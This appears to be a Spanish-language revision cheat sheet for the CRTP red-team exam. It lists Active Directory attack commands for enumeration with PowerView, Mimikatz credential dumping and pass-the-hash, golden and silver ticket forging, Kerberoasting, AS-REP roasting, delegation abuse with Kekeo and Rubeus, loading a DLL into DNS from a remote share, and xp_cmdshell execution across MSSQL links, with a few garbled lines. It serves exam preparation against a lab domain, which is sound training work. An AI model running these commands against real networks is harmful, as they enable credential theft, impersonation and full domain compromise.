Repaso CRTP
Conceptos, técnicas y comandos que se recomienda entender antes de presentarse al examen
1. Enumeración
Importar script
. .\Powerview.ps1
Obtener el dominio
Get-NetDomain
Get-NetDomain -Domain powershell.local
Obtener los Controladores de Dominio (DC)
Get-NetDomainController
Get-NetDomainController -Domain powershell.local
Obtener usuarios de un dominio
Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
Obtejer listado de propiedades de los usuarios del Dominio
Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Obtener los grupos de un dominio
Get-NetGroup Get-NetGroup *Get-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select NameGet-ADGroup -Filter * | select Name Get-ADGroup -Filter 'Name -like "admin"' | select Nameadmin*
Obtener los miembros del grupo "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Obtener los grupos a los que pertenece el usuario "labuser"
Get-NetGroup –UserName "labuser"
Obtener todos los equipos de un dominio
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Obtener todos los grupos de un dominio
Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Obtener todos los grupos locales de una máquina
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
Obtener los usuarios autenticados en una máquina
Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
Obtener el último usuario autenticado en una máquina
Get-LastLoggedOn –ComputerName <servername>
Obtener recursos compartidos en el dominio
Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
Obtener las sesiones de una máquina
Get-NetSession -ComputerName ops-dc
Obtener máquinas donde el Domain Admin se ha autenticado
Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
Obtener las relaciones de confianza del dominio
Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
Obtener la información de los forests
Get-NetForest
Get-NetForest –Forest defensiveps.local
Obtener los dominios de los forests
Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
Obtener las relaciones de confianza en los forests
Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local
GPOs (Group Policy Object)
Obtener las GPOs del dominio
Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
Obtener equipos donde un usuario es miembro de un grupo
Find-GPOLocation -UserName student1 -Verbose
OU (Organizational Unit)
Obtener OUs de un dominio
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
Obtener GPO que aplica a una OU
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081
ACLs (Access Control List)
Obtener ACL de un usuario
Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs
Obtener ACLs con un path específico
Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"
BloodHound
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC
2. Escalada de Privilegios Local
Obtener los servicios que el usuario actual puede modificar
Get-ModifiableService -Verbose
Ejecutar AllChecks
Invoke-AllChecks
Herramientas para enumerar información de la máquina que permita eleva privilegios
PowerUp
Invoke-AllChecks
BeRoot
.\\beRoot.exe
Privesc
Invoke-PrivEsc
3. Movimiento Lateral
Powershell Remoting
Cmdlets útiles
New-PSSession
Enter-PSSession
Invoke-Command
Ejecutar comandos/scripts en equipos
Usa –Credential para indicar el username/password.
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
Ejecutar scripts de ficheros
Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
Crear sesiones remotas con "estado" (Stateful)
$Sess = New-PSSession –Computername Server1 -Creds
Enter-PSSession $sess
winrs -r:machine powershell
Mimikatz & tokens
Mostrar las credenciales en una máquina local
Invoke-Mimikatz -DumpCreds
Mostrar los certificados de una máquina local
Invoke-Mimikatz –DumpCerts
Mostrar las credenciales de máquinas remotas
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
Ejecutar una consola de powershell suplantando al usuario Administrator.
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'
Manipulación de tokens
Listar todos los tokens de una máquina
Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
Comenzar un proceso con el token de un usuario
Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"
4. Persistencia
Silver Ticket
Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'
Golden Ticket
Los golden ticket están firmados con el hash del usuario krbtgt.
Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc
Crear un golden ticket
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
5. Escalada de Privilegios
Kerberoast
Enumerar usuarios
Get-NetUser –SPN
Solicitar un TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
Comprobar si se ha creado
klist
Exportar todos los tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
Crackear la contraseña con tgsrepcrack, john o hashcat
AS-REP Roasting
Enumerar usuarios
Get-DomainUser -PreauthNotRequired -Verbose
Get-ASREPHash -UserName VPN1user -Verbose
Enumerar los usuarios con la pre-autenticación deshabilitada
Invoke-ASREPRoast -Verbose
SPN
Enumerar usuarios (PowerView_dev)
Get-DomainUser -Identity supportuser | select serviceprincipalname
Configurar SPN para un usuario
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
Solicitar un TGS
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
Comprobar si se ha creado el TGS
klist.exe
Exportar los tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'
Crackear la contraseña con tgsrepcrack, john o hashcat
Delegations
Unconstrained
Es posible solicitar cualquier servicio en cualquier máquina del dominio
Discover domain computers which have unconstrained delegation enabled using PowerView:
Get-NetComputer -UnConstrainedin
Run following command on it to check if any DA token is available:
Invoke-Mimikatz –Command '"sekurlsa::tickets"'
Constrained
Es posible solicitar servicios específicos en máquinas específicas del dominio
Enumerar usuarios
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
A través de Kekeo se solicita un TGT
kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS
Invoke-Mimikatz tgs::s4u /tgt:[email protected]_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
Inyecta el ticket con mimikatz
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
También es posible crear el TGS con Rubeus
.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi
Se comprueba que el servicio se ha validado correctamente
ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$
DNSAdmin
Enumerar los miembros del grupo DNSAdmin
Get-NetGroupMember -GroupName "DNSAdmins"
Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
Usar el módulo de DNS (necesita RSAT DNS)
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
Reiniciar el servicio DNS
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
6. MSSQL Servers
Usamos PowerUpSQL
Para enumerar
Get-SQLInstanceDomain
Comprobar accesibilidad
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Obtener información
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Database Links
Buscar servidores
Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
La función Openquery() se puede usar para ejecutar peticiones
select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
Ejecutar comandos a través de xp_cmdshell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
Last updated
Was this helpful?